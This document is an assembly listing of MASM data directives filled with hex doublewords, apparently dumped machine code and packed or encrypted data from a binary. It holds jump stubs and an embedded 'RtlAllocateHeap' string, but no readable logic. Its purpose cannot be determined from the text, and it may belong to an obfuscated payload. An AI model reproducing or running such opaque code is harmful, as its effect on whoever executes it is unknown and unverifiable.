		dd 333D9D01h, 0EA8307E0h, 1D858B04h, 8307E01Dh,	850F01E9h
		dd 16h,	6850Fh,	858B0000h, 7E00021h, 36E9h, 0B809600h
		dd 880FD81Eh, 14h, 0FE9h, 67E5E700h, 0AE33FF69h, 0E556C488h
		dd 0E8D37FA0h, 0FFFF64E9h, 0FE446AFFh, 0D83F8EF4h, 0A946FABCh
		dd 326AFBC1h, 0E9D4A3E1h, 0EDh,	0D88C6660h, 840F04A8h
		dd 0DFh, 3421B58Bh, 0FE8307E0h,	22850F00h, 0C6000000h
		dd 0E0075985h, 69684507h, 0FF8E7269h, 0E02F01B5h, 0E8858D07h
		dd 0FF07E37Fh, 0FD8589D0h, 8B07E028h, 0E93E80F0h, 31850Fh
		dd 858D0000h, 7E58E9Eh,	0BD8BD0FFh, 7E02A89h, 1184C781h
		dd 0B58B0000h, 7E03421h, 8B9F787h, 0F3000000h, 21B58BA4h
		dd 8D07E034h, 0E3B33285h, 8BD0FF07h, 0E02165B5h, 0FE8307h
		dd 22850Fh, 85C60000h, 7E00759h, 0BEF46854h, 0B5FFFF4Eh
		dd 7E02F01h, 7FE8858Dh,	0D0FF07E3h, 21658589h, 0F08B07E0h
		dd 0FE93E80h, 3A85h, 65B58B00h,	8D07E021h, 0E58E9E85h
		dd 8BD0FF07h, 0E02A89BDh, 84C78107h, 83000011h,	0B58B08C7h
		dd 7E02165h, 8B9F787h, 0F3000000h, 65B58BA4h, 8D07E021h
		dd 0E3B33285h, 61D0FF07h, 0CC858DC3h, 8907E866h, 0E0324185h
		dd 36E907h, 4CC00000h, 4411h, 0Ch dup(0)
		dd 4CDE9h, 69086800h, 0CCE907E8h, 68FFF818h, 7E86973h
		dd 0F818C2E9h, 6AF768FFh, 0B8E907E8h, 4EFFF818h, 0C092AC66h
		dd 350721D9h, 0AC7E9850h, 1FF10BC3h, 1469833Dh,	0DA9476ABh
		dd 500AEEC0h, 0C9816436h, 3DF7DDAFh, 35584323h,	21D2387Ch
		dd 2BF69002h, 0E5A68849h, 4B424701h, 0F9A49BA0h, 5610F6F4h
		dd 2300103Ch, 0A36DE90Ch, 71CB2E5Ah, 0D6CDD28Ah, 0E9C3262Bh
		dd 0B6994B05h, 0FC02F9FEh, 0DA9BF4B9h, 8BE84921h, 0D4EF0935h
		dd 3112253h, 0C66C0000h, 4B5109ECh, 310B9AD9h, 6024384Bh
		dd 2C63A922h, 0F9277B81h, 6600233Ah, 0A02E59B0h, 775C364Dh
		dd 0D5BCB9BFh, 0CCFED471h, 0BAD16EB2h, 0D4FA1797h, 0F70E6133h
		dd 2C58A4CBh, 91888D45h, 37200F8Dh, 12F4045Ah, 0D4DA850Ch
		dd 42E12F87h, 9ABD082Bh, 0E63930F4h, 4E0FF5CFh,	0EA04AF67h
		dd 9AFB87B3h, 0A64071F3h, 6C0A6A0h, 9285C02Dh, 0BEECD5E0h
		dd 324h, 77914B33h, 0EC06BEA5h,	637D351Ah, 0D6F0A891h
		dd 4E682204h, 795BD0F9h, 0EFD3A5BFh, 66491B35h,	0DCC294AEh
		dd 3D280822h, 0D237971Ah, 0D36DDF21h, 4E08ECC6h, 0F84C5249h
		dd 0D1F40B28h, 2E52C62Ah, 0F429B460h, 2432A317h, 0A6886279h
		dd 1E00D2ECh, 22FC5F64h, 387B8139h, 0CE5CDF94h,	0B68F492Fh
		dd 0DE24554Fh, 0B9517F68h, 9E000002h, 10E2FCB6h, 85577129h
		dd 0FCCEE8A0h, 6F415B13h, 64B9D38Dh, 2AE4C67Bh,	0A05A3E10h
		dd 19D1B486h, 8D472DFFh, 85A89373h, 21D2382Ch, 0D146E052h
		dd 9AD9F04Fh, 1E24DEC0h, 52C620DBh, 62EA162Eh, 47964CC7h
		dd 89DCFB01h, 0BFE22184h, 21D277F2h, 0F033398Ch, 21D277BDh
		dd 3E43FBDEh, 9CA15940h, 549FF429h, 308EE344h, 53DCCFF2h
		dd 1BE1Dh, 452B6700h, 0A288868Bh, 7EA2CEE8h, 3F6BAAC1h
		dd 0C9B2B0F6h, 11150C11h, 6B710716h, 5A27D628h,	0F60D602Eh
		dd 5C5578B7h, 2221DA28h, 27DDD4CFh, 469921DAh, 1ACF340h
		dd 9A21DA28h, 5A12F5B6h, 0AEB35E55h, 0F14CEB0h,	4C97EC19h
		dd 2886DB3Ch, 53D49FFAh, 3515h,	9AC65F00h, 0CFB9D687h
		dd 5EB2B845h, 3B5E75B2h, 2E59E9B7h, 0A2E9EE41h,	21D9EA0Bh
		dd 0F0F5AD90h, 50550DF2h, 8DD02D5Ah, 69C71C7Dh,	53D45D3Dh
		dd 0CB56h, 0ECC6A000h, 0BE46F809h, 0FD6D8A80h, 6C524C52h
		dd 0CDAFADB2h, 2A100E13h, 876D6B70h, 5398B3CDh,	0B029B9E1h
		dd 0BFF610CAh, 0E1545D80h, 6D4F29B9h, 0E0B7AEB3h, 0ED33878Dh
		dd 6B0B374Eh, 2C1E93D2h, 25E78589h, 87DE70DFh, 0FDFF2281h
		dd 0D32E5778h, 90CB56A7h, 0AFB53322h, 98523690h, 62859C93h
		dd 21D7DA4Fh, 1229D427h, 859C5638h, 80DC7ABh, 0C0785F11h
		dd 5CBEC4BBh, 15EEA88Ah, 0EDEF9BB4h, 35BAE8D1h,	22000001h
		dd 9466803Ah, 9DBF5ADh,	80526C24h, 0F3C5DF97h, 0E83D5711h
		dd 0AE684AFFh, 24DEC294h, 9D55380Ah, 11CBB183h,	92C17F7h
		dd 21D236A8h, 2BC25CCEh, 0EDA58849h, 70562842h,	39659CB6h
		dd 23453E15h, 3C5E64F0h, 0FC1F452Bh, 29BAA0B5h,	0D8BC6EC1h
		dd 706E731Eh, 0E28B778Ah, 84F9DAC3h, 0C7F24FFCh, 0EC97423Dh
		dd 517AA6D2h, 0BA2C832Eh, 1998BB29h, 6529BA2Dh,	3DE83B12h
		dd 2B0DE726h, 0C6CB836Ah, 0DB1E24CFh, 2E5A7AFAh, 3812297Ch
		dd 67829C56h, 21DA6746h, 2D81C4F0h, 0AC37FBBFh,	0CC6ACA6h
		dd 843E20F2h, 8A517Fh, 0C6E70000h, 545C2A9Ah, 171D61BAh
		dd 0C7DE5DC3h, 4A4F09EDh, 0CBEE4D53h, 2E52B72Ch, 0AD059E4Ah
		dd 3C5F4B2Fh, 0B9A07A91h, 0B0AEFB01h, 24F610CAh, 387F843Eh
		dd 625B5EB0h, 0A7AC644Bh, 80DC7A9h, 7BC61BDCh, 78C21F54h
		dd 0ECBED892h, 49474C06h, 0A5A3A860h, 7050AC2h,	0FB636820h
		dd 68125DB2h, 0AE94E63Bh, 2208DAF4h, 26006368h,	8F868B43h
		dd 3B40F8DDh, 11143E44h, 6D000000h, 0EEF4AC93h,	0C39AC6CCh
		dd 0D81DED9Bh, 0B977787Eh, 8489432Bh, 0E1E6A086h, 434800E3h
		dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h,	2025DDC2h
		dd 7E833B22h, 0DD686Dh,	4890000h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 2404895Ch, 6EEA68h, 241C8900h, 29015FB8h
		dd 7CBE5627h, 3120C169h, 5F685EF0h, 89000028h, 4812424h
		dd 424h, 0EC815B00h, 4,	81240489h, 0B872434h, 438F703Eh
		dd 8738108h, 703E0B87h,	5B2434FFh, 4C481h, 48B0000h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 140DE95Ch, 259EFFF8h
		dd 51B8AAAEh, 307E86Ch,	7DE0FFC5h, 0DF6CA893h, 7331CF4Fh
		dd 0E752FC05h, 444B1155h, 0A5678ACAh, 1E08E520h, 32652C16h
		dd 0D47FDE1h, 31107782h, 0C82AE571h, 87C1DE4h, 9F55F499h
		dd 3F2867CEh, 0E36F1389h, 0F30E1975h, 8D0655F1h, 0E86DCF8Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0B2AA33BBh, 73206B6Fh, 0BE9CA56h, 75000000h
		dd 44228935h, 6408A7F6h, 8D8959A8h, 7E01815h, 17B1BD89h
		dd 9D2907E0h, 7E031E9h,	204985C7h, 71A407E0h, 0D48A0000h
		dd 22C585C7h, 7E0h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 3A2D71C3h, 7907EF27h
		dd 2A5DB5FFh, 890F07E0h, 6, 1DCD958Bh, 8C0F07E0h, 8, 2810Fh
		dd 3CB00000h, 209195FFh, 0F08A07E0h, 95FF006Ah,	7E018A9h
		dd 2AEBC08Bh, 71557E65h, 3EF15188h, 82CC99D1h, 66BE3F04h
		dd 0F022BD61h, 5A8D3A53h, 1DA8484Ah, 0D9FC7465h, 587C7E5Ah
		dd 0C891E620h, 3DE9F5E8h, 34000000h, 5276C6BFh,	6C416C74h
		dd 61636F6Ch, 65486574h, 7061h,	1400h, 9 dup(0)
		dd 1066E9h, 70376800h, 8CE907E8h, 68FFF812h, 7E87115h
		dd 0F81282E9h, 734A68FFh, 78E907E8h, 68FFF812h,	7E87448h
		dd 0F8126EE9h, 779E68FFh, 64E907E8h, 68FFF812h,	7E87836h
		dd 0F8125AE9h, 787568FFh, 50E907E8h, 68FFF812h,	7E87982h
		dd 0F81246E9h, 7A2A68FFh, 3CE907E8h, 68FFF812h,	7E87AAEh
		dd 0F81232E9h, 7C1D68FFh, 28E907E8h, 68FFF812h,	7E87D2Bh
		dd 0F8121EE9h, 4600E8FFh, 0BB735A2Ch, 32EACFA1h, 0A55D4618h
		dd 1DD7B98Bh, 1005AE03h, 885A742Eh, 0FED0EAA4h,	7749631Bh
		dd 0DDBDD791h, 32E2CFF2h, 2A9C21D2h, 84452B90h,	0E7DEE39Bh
		dd 8F944C35h, 0EAE8ED98h, 0F4334A04h, 9F27B1C8h, 0EBE6EE51h
		dd 29BA6EC6h, 0A575DB0h, 6C71290Ch, 0CDD28C6Eh,	0CDDBECCFh
		dd 0AB4E6142h, 7DA9AE59h, 721C67BCh, 0B89EE845h, 425913F7h
		dd 0BA54921Fh, 0EE99EC29h, 662002D4h, 0DA947A4Ch, 30F1D7D5h
		dd 0F0A88D4Eh, 54809A45h, 19586FCCh, 811807EDh,	0F8DFE39Dh
		dd 573DEFABh, 0AA54979Dh, 0AC2E59D8h, 86684259h, 0D20AFC73h
		dd 0D07BB218h, 81CED4CBh, 0DA15733Ah, 1469CA21h, 0D46D88B6h
		dd 31A353h, 0C6ED0000h,	0A14D6487h, 0E6FC29BAh,	0C7EBD8C2h
		dd 0CED427FEh, 8299967Ah, 5A03935Fh, 959AED2Eh,	0DA055F4Eh
		dd 207DDE21h, 0D4769CCAh, 0BAB753h, 2B010000h, 35748B45h
		dd 0BAA09F12h, 7E84D729h, 97513331h, 0F4AE9492h, 510BF1EFh
		dd 3CD40037h, 4E5C52A8h, 9BA05A40h, 0B0F3F9A4h,	29BA923Ch
		dd 4930F1D7h, 0EAEFA78Ah, 454348F3h, 0AEA5AA62h, 67415803h
		dd 60C2C880h, 0E9EEA88Eh, 99B08F91h, 5A6A4C76h,	657FD22Eh
		dd 4158D739h, 0C3C88067h, 4467C6CCh, 2677E60Bh,	2701186Bh
		dd 9F718B45h, 6119FCBDh, 0E1BA655Ch, 0E60F5E34h, 0DDB2E0C9h
		dd 6200000Dh, 0D4A6C07Ah, 491B35EDh, 0C092AC64h, 33051FD7h
		dd 287D9751h, 0EEA88ABFh, 641E02D4h, 0DD95784Ah, 510BF1C3h
		dd 496C5737h, 21D23168h, 2B029C0Eh, 0A3758F49h,	0EFE903BDh
		dd 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h, 0FD52B321h
		dd 0CDE40746h, 0A921DA9Fh, 1C4A5056h, 5C53D4EBh, 530BE530h
		dd 8E726C6Eh, 9F2329D4h, 0B9h, 84452BE9h, 373CE79Fh, 989D5739h
		dd 0BAA59B51h, 5610F629h, 6F80653Fh, 9274F8BAh,	545A05A6h
		dd 803A20F2h, 0AA072A69h, 0D429BA22h, 0D62E7B81h, 0AAD6ED4Ah
		dd 0DA5E68CCh, 68C7CD97h, 5A297D45h, 96B0032Eh,	0A082A66Ah
		dd 1243BE6h, 26779F5Dh,	5731489Bh, 0CFA1BB75h, 8A492CEDh
		dd 0F2E9EEA8h, 0F9B39547h, 94CE754Eh, 7E67E60Fh, 0CFF50h
		dd 9E584000h, 13CBB284h, 8A4227F9h, 0FDB59E70h,	752F11E3h
		dd 68DD065Bh, 0E0B2CC86h, 562842FCh, 0CFA1BB73h, 35152FE9h
		dd 2F8A274Ah, 82F421D2h, 8F492BE8h, 0AABDA375h,	486B52ACh
		dd 29BA1B69h, 39BEC215h, 0A7C16C5Eh, 8B452BADh,	0E8A28886h
		dd 76B97CEh, 0D4353786h, 0FBE8C311h, 11BCBA7Bh,	61E5C80Bh
		dd 0D0B629BAh, 442AFC16h, 3DE8A083h, 9A543A38h,	0A1B29795h
		dd 31F296C8h, 0B4B964AEh, 0FA832E51h, 0A8FB29B9h, 6D5314F6h
		dd 0CB7AEB3h, 25F9407h,	55AA3BFh, 0F913CDB3h, 344CEF1Bh
		dd 970854h, 0D1520000h,	0FFD9F04Fh, 1A5F631Dh, 757F3435h
		dd 0A2C5242Ah, 2E59FE04h, 0C72A2F82h, 0FA4C6588h, 0DF3221D9h
		dd 0FA1796D9h, 0DB2621D9h, 0FA38799Ch, 7E6321D9h, 0F3CAC1C6h
		dd 0C8259AA0h, 0A25A3F19h, 4168969Ch, 4E8353D4h, 90000000h
		dd 1016D0B6h, 0A0CCE2EEh, 0AB7529BAh, 7052758Ch, 0E62E5AB3h
		dd 68427993h, 0CFC6CB83h, 33EDCFC9h, 0ED4AD62Eh, 7B33B3D6h
		dd 62B5267Ah, 82937648h, 0BCB8E696h, 4D31E310h,	8BE3E893h
		dd 6C8FA685h, 2E599FD2h, 0F5F71164h, 8D9h, 0AECC68Bh, 4E544B50h
		dd 21916FAh, 5A801FDFh,	1DFFD92Eh, 0EB3E5D63h, 5C16FAD4h
		dd 245C6057h, 68185A21h, 148959Bh, 21DA90ACh, 876C4691h
		dd 0FF54C9CFh, 0D4F665A1h, 248E53h, 6F9B0000h, 950A6B3Ch
		dd 8CF3A75Fh, 9DEE7074h, 0E2092B31h, 29BAA0CBh,	3E6C0D7h
		dd 494F464Bh, 0FFFC3C1Fh, 4FD1B5FFh, 60B6D9F0h,	962E5ABDh
		dd 708FBE6Ah, 0ECF252AFh, 2E757ACDh, 21DA9B7Fh,	51005DBEh
		dd 0D4DA9277h, 0D4E390CEh, 4F0BB53h, 0C6050000h, 484D05ECh
		dd 8FD94B51h, 273EFD23h, 5AA56204h, 0C2E5A42Eh,	21DA99EFh
		dd 0E321DB87h, 7E1844Dh, 15FCB15Ch, 789F01D7h, 0D4EB48D8h
		dd 34C8E9B1h, 5FF31F80h, 0C5CF6F10h, 9B163950h,	0E37FF56Ah
		dd 186B8A90h, 0D655BB13h, 0A8399CBFh, 63BD8494h, 2A13C57Fh
		dd 0D6B0C772h, 4A1C36F0h, 30D1AA64h, 0CD94331Ch, 0ACAB6E4h
		dd 8D750000h, 0E7B9D3h,	775C2E48h, 0EAD3A5BFh, 64461832h
		dd 923B90AAh, 0E701BB9Dh, 5D773115h, 0D6F0A88Bh, 4A641E04h
		dd 555C7F6Ah, 2121D22Eh, 452B15AFh, 0E22E868Bh,	270B2E45h
		dd 112E5AA4h, 93995337h, 300A2174h, 527E954Dh, 1C41EE0Fh
		dd 10F5A7DDh, 565C5358h, 873F22F4h, 0D763B82h, 0D1DC21DAh
		dd 6521DA1Dh, 1DAE0326h, 9ED21DAh, 7C534A4Fh, 41CF2329h
		dd 1AA8CBE2h, 64267A0Bh, 0E9EEA88Ah, 7ACDECF2h,	0F47F2E75h
		dd 5DBE29B9h, 467CAA00h, 90BC5434h, 6776E078h, 34BD614Bh
		dd 0D60F4246h, 0EDF2AA93h, 0C1454BF6h, 22h, 6487C60Bh
		dd 29BAA14Dh, 0ABB06A4Eh, 848ADDB4h, 2C43E030h,	5AB70D09h
		dd 13186B2Eh, 20E5h, 4FD17B00h,	474B05E9h, 9618D12Eh, 475E09AEh
		dd 5A6D2E24h, 492E882Eh, 42EDA58Ah, 969B463Dh, 8B452B70h
		dd 0CD327B2h, 0A1CFB8E6h, 9CCh,	0B7D18B73h, 2C46FEE5h
		dd 0A3BD755Ah, 1630E8D1h, 8EA86244h, 0B99B9039h, 2F13E5FFh
		dd 0A6895B75h, 1C02D4EEh, 7D684862h, 0D22D575Ah, 13AD1F21h
		dd 0D9F04FD1h, 0F5B64DADh, 4E54E933h, 428ACCEFh, 0D2AC2E5Ah
		dd 0E23237EFh, 4D4E321Ch, 9FA550B4h, 2A282D80h,	779D8344h
		dd 0DA145D54h, 1BC61921h, 0F33B5670h, 4507110Dh, 50A83E19h
		dd 71773F60h, 1933F21Dh, 0ED0423EDh, 70752F13h,	0F1147379h
		dd 0DAEE161h, 583E18D7h, 0A7A2999Eh, 26EDA0Ah, 71762174h
		dd 934B340Eh, 0F4AC938Dh, 367B9EDDh, 40026EDAh,	5985E7EDh
		dd 3E6178B7h, 70EC784h,	3BAB4EFAh, 0A14117C5h, 0AC5702BAh
		dd 874D60A7h, 8FF0090Fh, 0FCAEDC32h, 35C9749Fh,	13000001h
		dd 0D9F04FD1h, 5A83A0B6h, 0BEC3162Eh, 620DAC0h,	8F944E34h
		dd 1176E648h, 47214007h, 13F6A860h, 83E0555Bh, 7F995339h
		dd 0CF876E48h, 0D3CDD3CAh, 0E72E33EDh, 0EE467C47h, 8ADC315Eh
		dd 99D0EAA4h, 1B21DBBFh, 7C813B21h, 2A41FE24h, 0ADB26C50h
		dd 6914CCAFh, 0B0E10463h, 8621DA7Bh, 23ED1933h,	74CAED04h
		dd 2267A64h, 847AAAFh, 0BA92CCE5h, 595FB229h, 0A8BF795Fh
		dd 4BD6E7CEh, 0EDBB0510h, 0F95B610Ch, 516083C2h, 2D29BA7Dh
		dd 8934ECD3h, 0E9A38983h, 195581E4h, 0B88A31EAh, 0E5C4070Dh
		dd 0CE29B9A8h, 14FA4CA1h, 0EE25405Ah, 1F5DEDA0h, 491B35F0h
		dd 6692A963h, 73319377h, 0D11E2449h, 0A876778Ah, 257AAF3Bh
		dd 1933EDD3h, 184E6147h, 8A212A1h, 22858A35h, 7E8744F6h
		dd 181E01EBh, 0C8DF5CC4h, 10C8AF89h, 6D270D0Bh,	0C2C67168h
		dd 0EC21382Fh, 2E71774Ch, 3C4723B8h, 85C4DB2Eh,	0C7144F62h
		dd 0A74CFA33h, 0DFA8DC5Eh, 0DC5AE08h, 60661108h, 6588C7FEh
		dd 33C78A4Ch, 0A5C8DF32h, 33C78A0Ch, 0EF191F72h
		dd 54h,	0D1896E48h, 0ADCFD5CCh,	0D9F04FD1h, 5AB760B6h
		dd 4F2AD62Eh, 9850336Dh, 0DD989C93h, 0C908EB55h, 0C0CBDD36h
		dd 67656A15h, 8AAEC880h, 0EC324F30h, 0D6F9384Fh, 21D9FDDBh
		dd 0EB4A50A3h, 674A6DACh, 0F21D9FEh, 6E280ABCh,	296C7269h
		dd 21D9FD90h, 659393E6h, 748B452Bh, 0F9FEB89Ah,	6E9AFC02h
		dd 2F6E85A2h, 0BAA0A50Ch, 0CC7ED129h, 31282DE5h, 85A9CC2Bh
		dd 0F32E5A84h, 0B4A89A0h, 0DA7BC9E8h, 6762B521h, 21DA7C4Ah
		dd 0D7EA8834h, 5E895BE4h, 0F4EADB3h, 0A78D4C35h, 0AE9042EDh
		dd 0F2F8EFF4h, 745615F8h, 0A7BEB5BAh, 0D9CA2D84h, 4BF64921h
		dd 0C47C5F31h, 7AB967BFh, 644A2463h, 0A8AEA5AAh, 79CDCD65h
		dd 5B60B326h, 0B9DE9914h, 0BB78A829h, 0CC4181A4h, 64B72E59h
		dd 0D190734Dh, 858B36EEh, 7396D538h, 21D9B43Eh,	9CDFE538h
		dd 21D9B411h, 0EAEFA78Ah, 4C5109ECh, 0BF025F20h, 0A88A64AFh
		dd 0ECF2E9EEh, 916B1A77h, 5C43F5AFh, 6A989EA4h,	8553D407h
		dd 18h,	0F04FD1CFh, 0B760B6D9h,	83D62E5Ah, 21507Eh, 0CFA90000h
		dd 6282EE6h, 500AECC6h,	8550544Bh, 0F93B3D3h, 66AAFE04h
		dd 0C38FB2C9h, 3D2E5A51h, 2BBFE5EAh, 2DB28B45h,	0C2E60CD3h
		dd 676ABD9h, 0E1C90000h, 543B0D27h, 0CBB0829Ch,	3E27F913h
		dd 0B89A6C86h, 268FE4FEh, 3B550FF1h, 0B1CB8569h, 2A44FCDFh
		dd 9EB87258h, 1B0D3BEh,	7D21D22Ah, 0B2B3710Bh, 769922EEh
		dd 29BAA13Bh, 2E45F043h, 5AA55B0Bh, 954A9D2Eh, 1C73C3AEh
		dd 1D1A06E4h, 78C1DA06h, 3CD7DB6Bh, 0FAB4D736h,	7C68B471h
		dd 44CC2429h, 18ADD0E7h, 8E6C1465h, 0ED985234h,	6119FCD6h
		dd 5F655Ch, 6C864026h, 0DED3F635h, 98641496h, 989D553Eh
		dd 0F6F0F6A1h, 7E7D5610h, 97ABB2DDh, 5DE80AEh, 79610000h
		dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h
		dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h
		dd 1521D229h, 452B09A3h, 0D2B9B28Bh, 0EDD6E60Ch, 59FBFh
		dd 0FEB8A000h, 732B12E4h, 0EAA28759h, 5D15FED0h, 0D58F7143h
		dd 0C87D66BBh, 40122CE6h, 0B688A25Ch, 2F011BD3h, 95758F49h
		dd 292A87AAh, 0E25421D2h, 6487C648h, 29BAA14Dh,	55B57D29h
		dd 0D491439Dh, 43292329h, 0E42C8489h, 0C5F13047h, 0AC46A61Ch
		dd 0B5D8EFF3h, 29BA15FCh, 0E6292F82h, 2E5243BEh, 805A71C4h
		dd 0A9CCE39Bh, 21D1BC08h, 0B3151B6Eh, 839A9987h, 71D29E60h
		dd 2E459826h, 0ADB36B54h, 9BBEFD60h, 29B1AE16h,	0C4070D60h
		dd 29B1ADE9h, 4D2F0954h, 0BB188D93h, 3C153965h,	0A25254h
		dd 0B39C0000h, 221EFB3h, 0A59EC8EBh, 6C982E5Ah,	394F8861h
		dd 69888E03h, 0CC2A87AAh, 15421D9h, 0EDBAA156h,	38DEDCDDh
		dd 11344BE8h, 6572C089h, 545D80BFh, 2A5AB2B3h, 5FB2D1D7h
		dd 211E025Ah, 0EFEEE70Ah, 0C9085F51h, 0D6100BA6h, 9207360h
		dd 0D60FCBE6h, 5A60B360h, 0F7D1E83Bh, 6B3D5711h, 0FF2CB85h
		dd 20AEF164h, 4920937h,	0C5AD0000h, 381FF10Bh, 0AF946680h
		dd 220BDDF7h, 9C7E506Ah, 4A73C8E2h, 1F39F3D5h, 95AF694Dh
		dd 0E28E0C3h, 829C563Ch, 1D94B7A2h, 5921D228h, 0A3FB4DE7h
		dd 91000000h, 7F9E9AC6h, 74B82DB0h, 39F61A6Eh, 55B5FF22h
		dd 78CB2E52h, 0E7A18761h, 5B15FBCDh, 1512FE56h,	27DAD2FEh
		dd 0E0C0D964h, 52587BDAh, 0CC267202h, 5AB5DEA0h, 0C1B8BD75h
		dd 0DECDDDBDh, 7B5FB9D8h, 0AEC5BCC1h, 0B25E268Bh, 52FD5029h
		dd 0C2BF54Dh, 78E0D2F5h, 0EA962E52h, 6BE347D9h,	2C6613D8h
		dd 25E0E288h, 19F6CF7Ah, 2EEDF523h, 3EA1745h, 6D550000h
		dd 0E0C799B3h, 573C0E28h, 0CAB3859Fh, 4426F812h, 0B21B708Ah
		dd 0C7E19B7Dh, 3D5711F5h, 0B6D0886Bh, 2A44FEE4h, 753C5F4Ah
		dd 121D226h, 0CFE2F58Fh, 8329BAA0h, 29BAA12Ah, 9FCDE00Ch
		dd 9C061B7Bh, 61DE4296h, 4F310B4Ah, 0D4409095h,	0AB4D824Eh
		dd 0E4272DD8h, 2E51D5C0h, 0FB5E63B6h, 0A1899BCh, 803121D2h
		dd 8236BA82h, 5357AA81h, 0BF66D5D8h, 423C420Eh,	0F2C9A25Ch
		dd 0BEDF535h, 366F422h,	0F1D90000h, 644B1D37h, 0DBC092ACh
		dd 4E370923h, 0C8AA7C96h, 369FF40Eh, 4B651F01h,	0C1DB9579h
		dd 3A540CEFh, 0AEC88268h, 0F1C0E3CEh, 8D21D226h, 452B811Bh
		dd 7D48748Bh, 0E2D1EB3Fh, 0E8A28436h, 99E6ECE3h, 4960DF41h
		dd 5A5E3026h, 452C862Eh, 0ADC8E28Dh, 2EC78883h,	0E0388DB9h
		dd 749D2132h, 7F92746Eh, 1336411Dh, 10BD079Eh, 0A88185D8h
		dd 2640EB57h, 0B3B87254h, 5F79B45Bh, 3ECC665h, 0FCB4994Bh
		dd 0FA00F7h, 0B973591Ah, 250B090Eh, 0FB25516Bh,	0EE995335h
		dd 0A74AB4D7h, 79CC2E5Ah, 9A802D74h, 5CBD21DAh,	0EE115007h
		dd 21DA9AC3h, 5C6268BBh, 53D4E02Eh, 4349h, 4FD19300h, 3CB6D9F0h
		dd 0C22E5AA0h, 9FD1E003h, 53AD21DAh, 5C07B26Ah,	0CB856B45h
		dd 3B1578C5h, 0AA2E4152h, 7038F920h, 0A21EC1C5h, 0B3922C50h
		dd 3F436AADh, 99FA21DAh, 88B8E644h, 0B8D353D4h,	1D000000h
		dd 868B452Bh, 0E7ECA688h, 0DA3A5884h, 2691B354h, 86402620h
		dd 779D8381h, 0B9C25D54h, 0D9BF1929h, 0AFC9741Fh, 0B9C65894h
		dd 13CDB329h, 1B4127F9h, 0B9C5B9F8h, 0C772C529h, 89A66AC2h
		dd 0A7D74F72h, 3E912E59h, 0B28F824h, 2525D1F4h,	10632677h
		dd 833D1FF9h, 0F1A9926Ch, 5CFAB7DAh, 318429B8h,	15F7C92Bh
		dd 16B1825Bh, 0E5CEE60Fh, 1F7B7h, 0A6604800h, 1BD3BA8Ch
		dd 924A2F01h, 5BDA678h,	7D3719EBh, 70A50E63h, 0E8BAD48Eh
		dd 5E304A04h, 0D7A9C37Bh, 3D1D37F1h, 24822F52h,	8AFC21D2h
		dd 8F492BF0h, 0FCBDA375h, 0B6705413h, 2208060Bh, 0C16C6368h
		dd 0D102FC16h, 0B6D9F04Fh, 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah
		dd 9FFD52B3h, 53D4EB63h, 0EF8Ch, 87C6D600h, 0BAA14D64h
		dd 0E8CF2929h, 857F8530h, 0E2E0E59Fh, 552F4600h, 0BAB1B66Eh
		dd 0CC2067B4h, 229BAA4h, 8080C6D6h, 191D9FEAh, 5453B72Bh
		dd 332D33C4h, 0A779934Dh, 0AA0207C1h, 0FB1E5D66h, 29BA0BB6h
		dd 3F726DC0h, 0F729BA0Ch, 0BA0BDDD4h, 6F469929h, 1B5A711Ch
		dd 115A25EFh, 61780CEFh, 0BA2C733Eh, 0B2B80B29h, 5A0DB76Fh
		dd 0F32712Eh, 21DA4AA2h, 0E19982DCh, 0BE113036h, 8BA878A4h
		dd 0C2065174h, 31842677h, 0A45E401Ah, 9379538Ah, 0D7DDD4D9h
		dd 563AFBDDh, 0B299979Ch, 0CBA44FFAh, 0E60FC290h, 0E90A3821h
		dd 56000000h, 0C89AB46Eh, 3D0F29E1h, 0B486A058h, 27F913CBh
		dd 1C718B45h, 0E29C7EB3h, 5812F6C8h, 0D1896C3Eh, 45FFE5B7h
		dd 3D604B2Bh, 21D22474h, 2BFE980Ah, 9E788F49h, 6FD02BCh
		dd 0E6CC9E00h, 7F843C25h, 0C9C3DD88h, 868B452Bh, 0CEE8A288h
		dd 1CD4BD97h, 885EC216h, 0F1147329h, 29B9BAC0h,	0DE5F63B6h
		dd 3FF7DA82h, 9498433Ah, 1972A15Ch, 0BAD17C48h,	529F1997h
		dd 0F50C5F2Eh, 5D5477B6h, 1921D243h, 42E6CBC6h,	3D9021D2h
		dd 4887EA37h, 0D2428C25h, 999FF221h, 0E5FFB99Fh, 6E732D13h
		dd 0AC025E27h, 8F698850h, 0BADDF4ACh, 0B2F402F7h, 0B1262C7Fh
		dd 6A240A5Ch, 0DC947953h, 0BCA274D6h, 16FFFD02h, 67A67F05h
		dd 63D2FC94h, 167276A6h, 0C1C67182h, 0F7419ECBh, 66405711h
		dd 61C3C981h, 0EAEFA98Fh, 3BCh,	66245200h, 8489432Bh, 0E1E6A086h
		dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
		dd 2025DDC2h, 7E833B22h, 4FB8686Dh, 14890000h
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 50243C89h, 405E089h
		dd 83000000h, 48704E8h,	0C895C24h, 6EBD6824h, 3C8B07E8h
		dd 4C48124h, 54000000h,	83240C8Bh, 0B85004C4h, 8, 3889C801h
		dd 8324048Bh, 34FF04C4h, 0C4835924h, 243C8B04h,	81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 0F80232E9h, 0B81E55FFh, 7E87E39h
		dd 0E0FFC503h, 18EF13C3h, 484C3E9Ch, 3937EE63h,	2ED58A08h
		dd 76D30150h, 11E0123Bh, 43D7373Dh, 53D22F2h, 20766FA0h
		dd 19901B02h, 30813DC2h, 28D82E11h, 1BC92EE2h, 2FE22DB2h
		dd 78101817h, 4E5A839Dh, 988EB1Bh, 197755FFh, 779423F5h
		dd 65BCBD45h, 4206678Fh, 63A1CE48h, 7FE28D8Dh, 8D8907E8h
		dd 7E03109h, 17CDBD89h,	8D8907E0h, 7E01815h, 18119D2Bh
		dd 85C707E0h, 7E02049h,	6A64h, 0E850006Ah, 3, 58C35820h
